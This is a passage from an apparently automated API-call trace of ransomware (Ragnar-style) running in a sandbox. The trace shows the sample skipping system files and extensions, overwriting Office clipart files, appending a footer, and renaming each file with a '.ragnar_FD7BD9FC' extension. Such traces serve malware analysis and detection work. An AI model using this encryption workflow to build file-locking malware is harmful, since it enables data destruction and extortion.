dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.322] GetProcessHeap () returned 0x580000 [0085.322] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.322] CloseHandle (hObject=0xf4) returned 1 [0085.322] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" [0085.322] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.ragnar_FD7BD9FC" [0085.322] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.322] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182689.JPG", cAlternateFileName="")) returned 1 [0085.322] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.322] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0182689.JPG" | out: lpString1="J0182689.JPG") returned="J0182689.JPG" [0085.322] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned=".JPG" [0085.322] lstrcmpiW (lpString1="J0182689.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="autorun.inf") returned 1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="boot.ini") returned 1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="bootfont.bin") returned 1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="bootsect.bak") returned 1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="bootmgr") returned 1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="bootmgr.efi") returned 1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="bootmgfw.efi") returned 1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="desktop.ini") returned 1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="iconcache.db") returned 1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="ntldr") returned -1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="ntuser.dat") returned -1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="ntuser.dat.log") returned -1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="ntuser.ini") returned -1 [0085.323] lstrcmpiW (lpString1="J0182689.JPG", lpString2="thumbs.db") returned -1 [0085.323] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.323] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.323] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.323] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.323] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.323] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.323] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg")) returned 0x20 [0085.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.324] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16615) returned 1 [0085.324] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.324] GetProcessHeap () returned 0x580000 [0085.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.324] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.326] VirtualAlloc (lpAddress=0x0, dwSize=0x40e7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.326] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x40e7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x40e7, lpOverlapped=0x0) returned 1 [0085.327] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.327] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.327] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x40e7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x40e7, lpOverlapped=0x0) returned 1 [0085.327] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.327] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.328] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.328] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.328] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.328] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.328] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.328] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.328] GetProcessHeap () returned 0x580000 [0085.328] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.328] CloseHandle (hObject=0xf4) returned 1 [0085.328] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" [0085.328] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.ragnar_FD7BD9FC" [0085.328] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182888.WMF", cAlternateFileName="")) returned 1 [0085.329] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.329] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0182888.WMF" | out: lpString1="J0182888.WMF") returned="J0182888.WMF" [0085.329] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned=".WMF" [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="autorun.inf") returned 1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="boot.ini") returned 1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="bootfont.bin") returned 1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="bootsect.bak") returned 1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="bootmgr") returned 1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="bootmgr.efi") returned 1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="bootmgfw.efi") returned 1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="desktop.ini") returned 1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="iconcache.db") returned 1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="ntldr") returned -1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="ntuser.dat") returned -1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="ntuser.dat.log") returned -1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="ntuser.ini") returned -1 [0085.329] lstrcmpiW (lpString1="J0182888.WMF", lpString2="thumbs.db") returned -1 [0085.329] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.329] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.329] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.329] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.330] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.330] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.330] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf")) returned 0x20 [0085.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.330] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24392) returned 1 [0085.330] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.330] GetProcessHeap () returned 0x580000 [0085.330] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.330] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.332] VirtualAlloc (lpAddress=0x0, dwSize=0x5f48, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.332] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.332] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.332] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5f48, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5f48, lpOverlapped=0x0) returned 1 [0085.333] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.333] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5f48, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.333] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5f48, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5f48, lpOverlapped=0x0) returned 1 [0085.333] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5f48, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.333] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.334] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.334] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.334] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.334] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.334] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.334] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.334] GetProcessHeap () returned 0x580000 [0085.334] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.334] CloseHandle (hObject=0xf4) returned 1 [0085.334] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" [0085.334] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.ragnar_FD7BD9FC" [0085.334] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182898.WMF", cAlternateFileName="")) returned 1 [0085.335] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.335] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0182898.WMF" | out: lpString1="J0182898.WMF") returned="J0182898.WMF" [0085.335] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned=".WMF" [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="autorun.inf") returned 1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="boot.ini") returned 1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="bootfont.bin") returned 1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="bootsect.bak") returned 1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="bootmgr") returned 1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="bootmgr.efi") returned 1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="bootmgfw.efi") returned 1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="desktop.ini") returned 1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="iconcache.db") returned 1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="ntldr") returned -1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="ntuser.dat") returned -1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="ntuser.dat.log") returned -1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="ntuser.ini") returned -1 [0085.335] lstrcmpiW (lpString1="J0182898.WMF", lpString2="thumbs.db") returned -1 [0085.335] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.335] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.336] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.336] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.336] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.336] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.336] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf")) returned 0x20 [0085.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.336] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15150) returned 1 [0085.336] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b25, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.336] GetProcessHeap () returned 0x580000 [0085.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.336] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.338] VirtualAlloc (lpAddress=0x0, dwSize=0x3b2e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.338] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.338] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.338] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3b2e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3b2e, lpOverlapped=0x0) returned 1 [0085.339] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.340] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b2e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.340] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3b2e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3b2e, lpOverlapped=0x0) returned 1 [0085.340] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b2e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.340] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.340] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.340] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.340] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.340] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.340] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.341] GetProcessHeap () returned 0x580000 [0085.341] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.341] CloseHandle (hObject=0xf4) returned 1 [0085.341] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" [0085.341] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft 